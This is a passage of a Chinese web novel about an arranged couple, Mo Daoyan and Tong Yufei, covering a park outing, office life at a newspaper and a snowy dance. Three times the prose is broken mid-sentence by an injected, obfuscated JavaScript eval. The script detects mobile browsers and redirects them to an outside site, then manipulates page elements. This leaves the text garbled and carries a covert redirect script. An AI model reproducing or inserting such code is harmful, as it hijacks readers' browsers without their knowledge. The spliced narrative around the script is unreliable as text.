“指教算不上,算忠告吧,别把生育压力都压给她,这不公平,备孕需要宽松的环境,良好的心绪,压力过大会抑制下丘脑垂体的功能,影响促性腺释放激素的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819107|175458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分泌,导致卵巢分泌雌激素受阻,她是你的妻子,她的健康是你的责任之一,退一步讲,即使怀不上,也说明不了是女方的身体出的状况,你该挂个男科自查为妙。其次,纵欲不可取,为了生育而纵欲,尤不可取,你不能因为她不便拒绝,就可劲地欺负人。” 莫道言听完陈如潮对他的控诉,虚心接纳:“我会谨记于心,笃之于行。” “顺便谢谢你的香水,来而不往非礼也,这些话就当还礼了。” 莫道言取完药,下楼走到医院门诊出口,欲和佟语非汇合,她没等在门口旁,静静地伫立在不远处的公告栏前,像被有趣的东西迷住了,榕树叶缝里泄来的光,在她背上洒下斑驳陆离的碎影,在行人匆匆无人在意的角落略显孤寂。 她在看一张歌舞剧宣传画,市歌舞团剧目《昭君出塞》,宣传画中的王昭君一袭红袍,怀抱火不思,踏入苍凉的大漠,扮演昭君的演员正是陈觉遥。海报旁边是张通知单,在医院年度优秀评比中荣获表彰的医护人员,每人可免费领取两张演出票。 莫道言对文艺演出兴致缺缺,但可以购两张票给她去看:“主演是陈医生的妹妹,很有才华的演员,想必你们已经见过了,你想去看她的演出吗,可以找个关系好的同事一块儿去?” 何止见过,这个名字和这张脸,她都太熟了,毕生难忘! 佟语非收回目光:“这件红袍子过年穿很喜庆吧?” 莫道言忖量,她做着文字类工作,本和文艺相通,现在看艺术鉴赏力貌似不比他高多少,而她的豆浆和包子原封未动,已经凉了,民以食为天,还是先落实饱腹吧,医院北门有条华新街,街上有很多老字号饭店,有很好的补血食物,他提出带她去吃饭。 佟语非站着没动:“能换地方吃吗?” “你有更好的推荐?” “东方红公园有条小吃街,离这里只有一公里远,走路过去就行,吃完能散散步,看看园中的风景,因为要拍照片给奶奶看嘛,这样能省事些,不过你嫌不卫生,不去也没事。” 莫道言回来的这段日子,不是跟着乔卓成去饭店,就是在家老老实实吃饭,和城市里的烟火气离得很远,许久没碰了,去吃未尝不可,他点了头,回转方向去东方红动物园,不紧不慢道:“陈医生用的那款香水是我买的,但不是送的,我送你的不同牌,更不同款。” 他去看望陈怀礼夫妇带了见面礼,于公于私,都少不了陈家姐妹的,陈觉遥对他横挑鼻子竖挑眼,对他带的礼物一样挑,挑来挑去,抢走了他带给佟语非的香水,他当着陈老师和晏老师的面,总不能和她一般见识硬抢回来,才阴差阳错到了陈如潮那儿,他本不想和佟语非多做解释,怕被误以为另一层意思,但又不能剥夺她应得的尊重。 佟语非眉眼含笑道:“我明白的,体面的莫先生不会做如此不体面的事。” “还有,你……” 这次来医院,看看贫血就罢了,备孕就是走过场,她还说得有鼻子有眼,把他描述得像纵情遂欲的色鬼,莫道言想纠错,话到嘴边欲言又止,罢了,不知者无罪,那些房中的知识,迟早有人教她。 佟语非追问:“我什么?” 莫道言踩过一汪水洼:“跟上。” 佟语非无言以对,说着要她跟上,那么长的腿像装了弹簧,步履如飞,让她如何跟? 11. 第十一章 东方红公园的南大门摆着两张台球桌,街边台球在全国正流行,是人们追趋逐耆的最热娱乐方式之一,球台两头,一老一少正打得火热,围观者不时爆出一阵掌声。从南门往里走五十米,就到了小吃街,流动摊位星罗棋布,羊肉水饺,酸汤馄饨,板面,蚝油炸,灌汤包,火烧等,扑鼻的香味让人垂涎欲滴,还有卖瓜桃梨枣,锅碗瓢盆,灯笼鞭炮,应有尽有,熙熙攘攘喊价议价的人们穿梭其中,共奏出一曲盛况空前的勃勃生机。 莫道言和佟语非过来后,买了香甜可口的糖炒栗子,烤得外焦里嫩的红心地瓜和皮薄馅大的小笼素蒸饺,沿小路散步到了园内的睡莲池,睡莲枯萎凋谢,残破的莲叶孤零零地飘在纯净的水面上,在阳光的照耀下,有种独特的雅致,池边有群石马雕像,应和着即将到来的马年,被人们寄予了马到成功财源广进的祝福,荣升为摄影圣地。 莫道言调好焦距,指挥着佟语非站到马群中间靠前的最佳摄影位拍照,她乖巧配合,让笑就笑,让跳就跳,形似个有着单调感知的机器人,他拍了两张打样,翻查着照片揣摩构图,对她的评判愈为笃定,一个顶好的木美人模特,仪态万方,唯一美中不足的鼻尖上的一粒栗子碎屑,像颗顽固的痣粘着她。 拍下一张时,莫道言指了指鼻尖,佟语非会错意,横起右手无名指点着鼻尖,抛了个调皮的笑,同时向后翘起左脚,她很少这么外放,但动作行云流水,没有分毫的矫揉造作,且不失灵动,莫道言心想,她选错路了,去和陈觉遥做同学,会是块好苗子。他抓拍几张,走上前朝她探出手,佟语非不明就里,连连往后退去,被他把住小臂拉了回来,用小拇指抹去了那粒碎屑,动作轻缓,落于旁人眼中,像情侣间刮鼻子的小情趣。 确定了构图角度,他又拍了六七张,旁边有位玩陀螺的大叔,看了他的数码相机,问他从哪儿买的,价位多少,想给闺女买一个,被莫道言告知这小东西竟值好几千,大叔啧啧称奇,小兄弟哪条路发的财啊?又古道热肠地提出为他们拍合照,合影来一张啊,双宿双飞有意境。 莫道言拒绝了,这不是家里,他不是演员,不必随时随地和佟语非装恩爱夫妻,用那些照片去纾解奶奶的念叨,足够了,有几张的水准比得上照相馆了,还能给她留念。 他和大叔说话时,佟语非还蹲在睡莲池旁的石头上,一脸迷茫,他还没喊停。 莫道言调短相机肩带,走过去挂在她的颈间:“拍完了,看看。” 佟语非粗略地浏览着:“要给你拍吗?” “不拍。” “等我一下,我去买点东西,买完就回去。” 佟语非将相机还给莫道言,融进了暖黄色的暮光中,等再次从暮光中跑出,手里拿着大袋小包,莫家老小在外用餐,只选正规的大饭店,从不吃路边摊的外食,但吃果脯和炒货,如莫老太太吃的柿饼,莫长林首推的巴旦木,孟如卿和莫道行口味一致,都中意南瓜子,莫道言对这些意兴阑珊,她就多买了两包益脑的山核桃。 莫道言勾住袋子的一端,接过她手里的东西,瞥着她额角的汗道:“其实你不用做这些的。” “嗯?” “生养问题的由来,是老莫不满我擅自换工作的借题发挥,不是冲你,奶奶被爷爷护着,做了一辈子的大小姐,很难设身处地去想他人处境,妈妈在单位惯于安排人做事,他们说的一些话,你都可当秋风过耳,过度介怀会平添忧闷。他们心如明镜,我才是解铃还须系铃人里的系铃人,有我在,你不顺从,他们也不会刁难,而且我们马上要离了,你更不用处处照拂他们的情绪,不管他们给不给你打满分,该给你的,我一分都不会少。” 原来在莫道言眼里,她尽心尽力地做这些,只是想让他的家人给她打满分,刚进莫家的门时确实如此,但人非草木,四五年的相处,怎会一点儿真心没有?就像她对莫道行,是比对佟意那个血缘上的亲弟弟更亲的。 佟语非止住脚步,闷声问道:“能不离吗?我不想离,想继续做你的妻子。” 莫道言像在听天方夜谭:“说什么?” 她一字一顿道:“我不离婚。” “不是开头说好的吗?” “都五年了,此一时,彼一时嘛。” “你就不想知道我能给你什么?” “我要的你已经给了。” “你要的是有名无实的无爱婚姻?” “莫先生认为爱重要吗?” 莫道言不料会被反将一军,他秉承事业为重,旁余的不利因素统统要摒除让路,用婚姻做交易,换到留学的坦途,谁都能说爱很重要,独他开不了口,包括在西德,那些不介意他婚史的各式女孩们,企望着他能为了爱情和前途留下来,其中不乏他欣赏的同学,但他坚守着回国拼搏的信念,未曾给过别人希望。 爱也许重要,但在此之前,他全留给了自己。 他的答案无疑是否定的,可这和佟语非问的是两码事,重不重要求存同异,分居两国能眼不见为净,现在一个屋檐下朝夕相处,长久的夫妻不是出门问声好的简便关系,是要过夫妻生活,承担生儿育女的职责,无爱是竭泽而渔,低于形同陌路,他们要怎么面对彼此? 莫道言转过身,与佟语非面对面道:“重要也好,不重要也罢,都不代表我要和你继续这段婚姻,世间之事总是发展变化的,我昨天认为不重要的,明天说不准就认为重要了,倒是你,想从婚姻里得到什么?” ----- 腊月二十三的小年节,民间也称“祭灶节”,家家户户剪窗花,扫尘土,吃麻糖。 佟语非照旧在上班,报社的黑板报上张贴着最新一期的分房名额,她和几位同事在人群后驻足观看,从第一行看到最后一行,校对二组的组长曹哥满腹牢骚,一二级干部坐拥独立住宅,三级以下六级以上的腰部干部包揽上等住宅,七级干部能捡个老式立柱房屋,八级以下的好歹还有个毛坯板房,他们校对岗是默默无闻的隐形人,只在排除重大差错时昙花一现,其他时候做了什么做了多少无人知晓,分房这种福利永远落不到他们头上。 做了八年编辑的刘红也不在名单上,编辑常被其他部门的同事调侃是为他人做嫁衣,但比嫁衣正面都摸不着的校对境遇要强很多,原是有分房资格的,不走运,赶在分房前离了婚,工作年限和贡献奖外,婚姻状况是影响分房的关键因素之一,单位明文规定,福利分房只针对已婚的员工,未婚或离异的不享受该福利,刘红熬这么多年,临门一脚黄了。 欣姐将买的橘子发给大家:“没房子有橘子,甜一口是一口。” 曹哥吃了瓣橘子,酸得五官错位:“他娘的,应景!” 给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819108|175458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到佟语非时,欣姐打趣她:“小佟,你现在跑还来得及。” 同事何彦君道:“或许小佟家有住不完的私房,不缺这三核俩枣。” 何彦君在曹哥的二组,比佟语非早进报社两年,一双丹凤三角眼娇艳妩媚,人称编辑部“何熙凤”,待人接物八面驶风,唯对佟语非时不时刺上两句,这就不能不提一段前尘往事了。何彦君的弟弟来单位给姐姐送东西,一眼相中了刚来实习的佟语非,托姐姐做媒撮合,何彦君本以为会十拿九稳,毕竟丈夫是粮站检验室的科长,弟弟被安排进粮站做了质检员,要钱有钱,要面有面,佟语非有几分姿色,家却一穷二白,弟弟配她绰绰有余。 可等到说媒那天,无论何彦君怎么劝说,佟语非见都不肯见,何彦君因此被同事们嘲笑,总把弟弟吹得天上有地上无的,现在好了,上杆子送人家都不要。 何彦君颜面扫地,和佟语非结了梁子,特别是两个月后,又有人给佟语非介绍对象,佟语非一改常态,坦言已经结婚了,还给大家发了喜糖,结婚要开婚姻状况证明和领导签字,做不了假,何彦君就更气不过了,佟语非那张脸再中看也是乡巴佬,竟瞧不起弟弟,荒谬绝伦!她很想知道,佟语非嫁了哪路高人?打听了几圈,有效信息屈指可数,只听人说婆家家境殷实,丈夫是个高材生,出国留洋了。 有人说佟语非低调,不屑于显摆,何彦君嗤之以鼻,世上没有不透风的墙,没影儿还能吹上天的,是皇帝的新装,佟语非还是那个佟语非,穿衣打扮素净,举手投足矜持,何彦君狐疑是佟语非爱慕虚荣编了瞎话,因为那些传言经不起推敲,学识渊博的公子哥,不找个门当户对的富家女,却要找她,眼瞎心盲吗?此外还有条铁证,有同事在天华街批发市场看到过她和一个男人手拉手,说那男的高高大大,帅则帅,但看不出是个脑瓜灵的。 何彦君暗笑,谎话不攻自破,也许佟语非的男人不是去留洋了,是拿不出手。 越拿不出手,何彦君便越想让她亮出来:“小佟爱人哪个单位的领导,分了几套房?” 对何彦君的酸话,佟语非一以贯之的漠视,何彦君或许对她是因弃生恨,她对何彦君是话都懒得说,有和对方说话的时间,能去多看两页工具书了,理都不理就走开了。 何彦君一拳打在棉花上,七窍生烟:“傲个什么劲?” 欣姐是佟语非的领导,自然护犊子:“知道她傲就适可而止,把人逼急了旧事重提很光彩吗?新社会自由恋爱,还不许人不答应?你弟孩子都生三个了,怎么就过不去了?” 何彦君脸上挂不住:“谁过不去了,开个玩笑还不行了?” “好笑吗,你看谁笑了?以后别提了。” 等待发稿的空档,佟语非去了记者部。 莫家是有房子,房子房产本上不写莫长林和孟如卿,还有莫家兄弟继承,轮不到她,报社排排队等房的老同事如过江之鲫,新房她不做肖想,但想要一套脱壳房,何为脱壳房?单位收益充裕造了新房,职工们分新房退掉的老房俗称脱壳房。空出来的脱壳房会被再一次分配给小户型职工,小户型职工再退出的再脱壳房,就能低价出售给名下无房户职工了,脱壳房多是老破小,有家有口住着生活质量大打折扣,但两个人住,拾掇拾掇会是个很温馨的家。 她要争取脱壳房,就不能只做校对。 12. 第十二章 佟语非是记者部的常客,颇受欢迎,看见她进来,有人扔过来两颗大白兔奶糖,有人送她一支永生暗尖钢笔,还有人给女儿买了两卷发绳,分了她三根……笑着说以奖励她及时雨的襄助。她来者不拒,一路笑着穿行过去,最后走进主任记者办公的格子间,把原函原装的《王文成公全书》放在了程媛的桌上,两函十三册全套,附格言一册。 程媛刚入而立之年,一头齐耳的波浪烫发,鼻梁上架着副玳瑁细框眼镜,镜片后的眸子闪着惊喜的光,有种腹有诗书气自华的书卷气,喜好藏书,王守仁的作品是藏中之最,她的声音里压着雀跃:“这可是嘉靖年间的刻本,你从哪儿寻来的?” “旧书市场淘的。” 程媛耸耸肩:“你亏大了,这周没好新闻给你跟。” 程媛常为佟语非抱憾,校对岗清苦,白日还能迁就,夜班紧盯密密麻麻的蝇头小字,被容错率逼得对抗生物钟,那届八个实习生里,她是唯二撑下来的,另一个是副社长的外甥女,但没几天就被调去了社会事务部门,做了公益捐助的闲职。 佟语非能写一手好文章,文笔清新流畅,能力上完全可以从助理记者做起,可他们报社记者门槛高,出类拔萃的名校生大有人在,她想挤进来,难度不小。但她并未舍弃做记者的梦,常忙里偷闲过来,给记者们端茶倒水,跑腿买饭,偶尔带些自己做的点心……竭诚和记者们打好关系,请教新闻采访方法学,接别人不想做的鸡毛蒜皮的社区新闻,或低创收的教育和农口稿,由于名不正言不顺,写出来还不能署联名,她不在意,认为能被记者们指导写稿技艺,是收获了宝贵财富,看着被印刷出来的小四方块,与有荣焉。 程媛很想帮她,内推过两次,均被打了回来,昨天是第三次,她的学历是硬伤,还是非相关专业的,说她进报社后的工作是从零起步,一点儿不夸张,程媛给她打气:“别气馁,这个时代瞬息万变,没有什么是不可能的,说不定很快就会有转机呢,再等等。” 千金易到,知己难求,尽管佟语非要得的千金还相去甚远,可得了程媛这个知己,是意外之喜,程媛之所以赏识她,讲过一个让她至今想起都感激涕零的理由,说她能写能画,才气过人,拿她当朋友是惜才。养父母过世后,还没人如此不吝金玉地称赞她,她曾以为断了的路再走不了,但她站起来了,并为奔跑而准备着。 她会等着转机到来,她最会等了。 程媛去倒茶,靠近了才闻到她身上清淡的香:“咦,用香水了?” 佟语非坦诚道:“他回来了。” 她很少提丈夫和丈夫的家人,程媛也没问过,现在她提了,程媛跟着多说了几句:“留过洋的就是懂罗曼蒂克,我家那口子别说香水了,一朵狗尾巴花都没送过,小别胜新婚,你们这一别,得如漆似胶成什么样啊?早点下班,吃个团圆饭吧。” 早下班没可能,但能按时下班,她和程媛挥手作别:“回见。” 程媛一句话把她唤了回来:“姑奶奶憋不住了,提前三天而已,不不不,你明晚就能看到校稿,只能算一天,我这不算作弊吧?” 程媛拿出一张内部通知单,是一则面向全市人民的公开招考记者的广告,段落字数不多,主题简明扼要,广告上写,高中以上学历,年轻四十岁以下,不限职业,均可在本月报名,三月前报名截止,五月底考试,七月中旬完成面试和招考工作,刊登落款日期是三天后。 佟语非怔怔地看着通知单,掐了掐手背的肉:“程媛姐,你不是杜撰来哄我的?” “加盖着报社印章的,我公器私用,不混了?我问你,三天后什么日子?” 佟语非脑子短路,没了思考:“农历二十六……” “也是公历二十二号,报社创刊四十周年,报社的大日子,本来就会有很多新举措,刊头题词,改版,多了条不拘一格降人才来扩大宣传,有什么不可行?我丑话说在前头,最多四个月的准备时间,报考可能几百上千人,只有五个录取名额,能不能杀出重围脱颖而出,要看你自己,但不管怎么讲,总是拨云见天了,加油吧,佟小姐!” “我会的。” “还有件事,劳佟大师大驾,敬求墨宝,怪就怪我家的长舌男,谁能信一个律师,嘴上没个把门的?我不过写了副对联,画了幅落日,就被老于吹成了国画大师里的沧海遗珠,他的远房表弟,一位自来熟的暴发户,慕名来请我的字,我让老于推掉,他拿家里以前受过表舅的恩惠,滴水之恩泉涌相报来堵我,他哪里门清,报社卧虎藏凤,藏的是我们多才多艺的佟小姐,先说好,无功不受禄,我让他掏腰包买你的字,你千万别手软。” 别说程媛是她的领导,就是一般同事,她都不会收钱,偶尔写写是陶冶情操,顺手的事,佟语非哂笑:“赠人玫瑰,手有余香,做商品以价论价,我哪有胆量献丑?” 程媛换了策略:“明天中午我有会,晚上咱们下馆子去,钱不要,饭不能再推了。” “好,写什么内容的?” “人以群分物以类聚,生意人的朋友,生意人居多,跳不出‘金樽清酒斗十千,玉盘珍羞直万钱’的发财梦,但这句俗套了些。” “那就写王公的,知轻傲处,便是良知,致此良知,除却轻傲,便是格物。” 陈媛眼前一亮:“做事先做人,就这句,妙极!” 从记者部出来,佟语非去传达室打了个电话,对接电话的林姨说,今夜有点事,不回家了,到了下班时间,飞快奔向供销社,买了红豆,红枣,红薯,红橙和红糖,准备做红五粥和拔丝红薯,鲜鱼块做炸酥鱼,两斤瘦肉半斤香菇,用来包香菇猪肉饺子,一些番茄,蘑菇,玉米等做蔬菜汤。 出了供销社,她坐上了反方向的公交车。 天空恰时飘了雪,纷纷扬扬的雪花从天而降,覆向大地。 --- 大雪从暮色四合下到暗夜侵袭,世界银装素裹,玉树琼枝,俨然一幅美不胜收的雪景山水画,莫道言两耳不闻窗外事,伏案修着机械图,直至季西林过来敲了敲门,提醒他下班,他才瞟闪到了外面美奂美轮的景致。 季西林高莫道言一届,大他两岁,算他的师姐,婴儿肥的娃娃脸和乌溜溜的大眼睛,像时间凝固剂,把她定格在了十八岁,青春永驻是很多人遥不可及的梦,却是她的烦恼,身为空调事业部负责人,总被身边人当孩子,跟周定和和莫道言比肩工作,气势先矮了一截,为扭转这种幼态的印象,她偏好穿老气横秋的衣服,好显得老成,但效果并不显著。 新立跟财大气粗的老国营厂比不了,小福利该有的还是会有的,季西林进来时左提右夹,捎来了一桶油,一袋五斤大米,一袋苹果,一盒塑料包装的计生用品,计生用品是天津乳胶厂产的,封面上标着“八八年荣获国家金质奖”,盒内十只原装,大号的。 “公司发的节日礼品,避孕套只有大号了,你用不了就送人。” 这件事不能自证,一般人被说号不大,肯定不甘人后地说能用,或顶一句,你怎么知道我不能用?莫道言了解师姐直来直去的语言系统,不是恶意挖苦,给出了第三种反应:“我不用,放公共区,谁用谁取。” 不用和用不了,一字之差,差之千里。 季西林检阅着他改了十几遍的图纸:“还有多少?” 季西林没结婚没对象,嗜工作如命,但这不是她高风亮节的因由,家里有个酗酒暴躁的爹,在公司反而清净,另一个原因是莫道言帮着她,一起攻克了提高冷凝器制作材料导热性的难关,她想还人情,好让他能回去陪老婆。 莫道言无论才华还是样貌,都是众人瞩目的焦点,不同部门的女工时常借故接近,有的送来粉红色折纸星星,有的递上日本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828248|175458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进口打火机,还有人特意选购保温杯相赠,情书更是如雪片般纷至沓来,甚至有人辗转托付季西林转交,尽管季西林每次都郑重告知对方莫道言已婚的事实,却依然浇不灭某些人飞蛾扑火般的热情。 每每此时,莫道言就像吃了绝情丹,一句客气话没有,全扔进垃圾桶,有女工觉得受了辱,前来质问,何故糟蹋他人心意?他硬邦邦地回复,不想被糟蹋就别随便往他抽屉里放东西,脏了工作资料,扔了都是轻的,再有下次,他会提请开除。 一个人能如是不近人情地挡桃花,以季西林的恋爱零经验判断,只能是爱惨了,这种“曾经沧海难为水,除却巫山不是云”的情情爱爱,在现实生活中,她只在弟弟身上看到过,但弟弟的结局没有莫道言的完美,甚至可以用悲惨来形容,弟弟失去了爱情,还差点失去自己,季西林从不羡慕小说里流芳千古的爱情,都是用命赌来的。 莫道言的效率,没能让季西林还情:“一个变温室的蒸发器,十分钟收工。” 季西林走后,莫道言继续埋头苦干,待最后一项参数调整完毕,他取下挂在椅背上的外套,是该走了,不只为过小年节,还想抽空和佟语非好好谈谈,那天她闷头闷脑地说些似是而非的话,他要一个她变卦的理由,她支支吾吾迂久,都没说出个所以然,她理不清思路,就由他来理好了,把能想到的能做到的讲给她听,若她尚有半分清醒,就该知道什么选择对自己最有利。 莫道言关了灯,转去门口的一霎,又徐缓地转了回来,走向了窗边,新立租借的办公区原属一家倒闭的皮鞋厂,一楼是厂房,二楼是办公室和改修的研发中心,厂区西门一墙之隔有片稀疏的樱桃林,樱桃林中间有条石子路,连接着两条主街道,路不平坦又狭窄,素日走的人并不多,晚上的就更少,是以有个打着明黄色油布伞的年轻女子经过,停在了半道,他便按捺不住地将目光投了过去。 只见那女生脱下了外衣,悬挂在樱桃枝上,然后收拢雨伞,时而随身体摇摆着,时而扛在肩上,在雪地上跳起了舞,莫道言对歌舞一知半解,但恰好看过她跳的这支,吉恩·凯利主演的歌曲片《雨中曲》,男主角洛克伍德在得悉女主角凯西的芳心暗许,并想出电影前路后,激越之情无以言表,在雨中忘情唱跳的片段。 与电影中吉恩的表演稍有分别,她融合了一些中国传统的古典舞元素,比原版的踢踏舞少些明快,多了韵味和俏皮,但都给人以自由奔放的感染力。最绝妙的远不止于此,在撑开的雨伞被她挥舞成一朵绚烂硕大的波斯菊,乌黑的长发被跳跃为一帘黑色的瀑布时,她右手拎提的菜肉等食材始终没放下,与波斯菊和黑瀑布,白毛衣和蓝宝灰灯笼裤,皑皑白雪和婆娑的樱桃树,一起组成了雪中精灵的图谱,刚柔并济,情景交融。 莫道言急需一台清晰度甚好的相机,去记录承载着冬日雪夜里鲜活生命力的动人瞬间,遗憾的是相机已经还给了弟弟,他只能用眼睛做相机,将她的风姿镌刻进脑际,看到精彩处,欲鼓掌喝彩,此时婉若游龙的优雅旋转戛然而止,不知是体力不支还是被绊了一跤,她失去了重心,猛地倒在了硬冷的地上,伞和食材洒了一地。 虽有积雪覆盖,可上面是石子,她一定摔疼了,许久都没能起来。 莫道言打开窗,冲着下面喊:“喂,要帮忙吗?” 那姑娘撑起埋在暗影下的身子,循声仰头回望他,而后拾起东西,拿起大衣,一瘸一拐地离开了,等他急匆匆下楼来到石子路,人已无影无踪,只有地面上片片凌乱的脚印能作证,他没活在聊斋里。 莫道言有些懊恼,灯没开,在黑处吼那么粗犷的一嗓子,可不是会吓倒她,他看着寂寂无声的雪地,心里空落落的,石子路前方的地界出了老城区,是有着西城“最穷县城”之称的溪山县,两区交界处的长青街和古松路交叉口有三四栋筒子楼,那儿有她的家吗?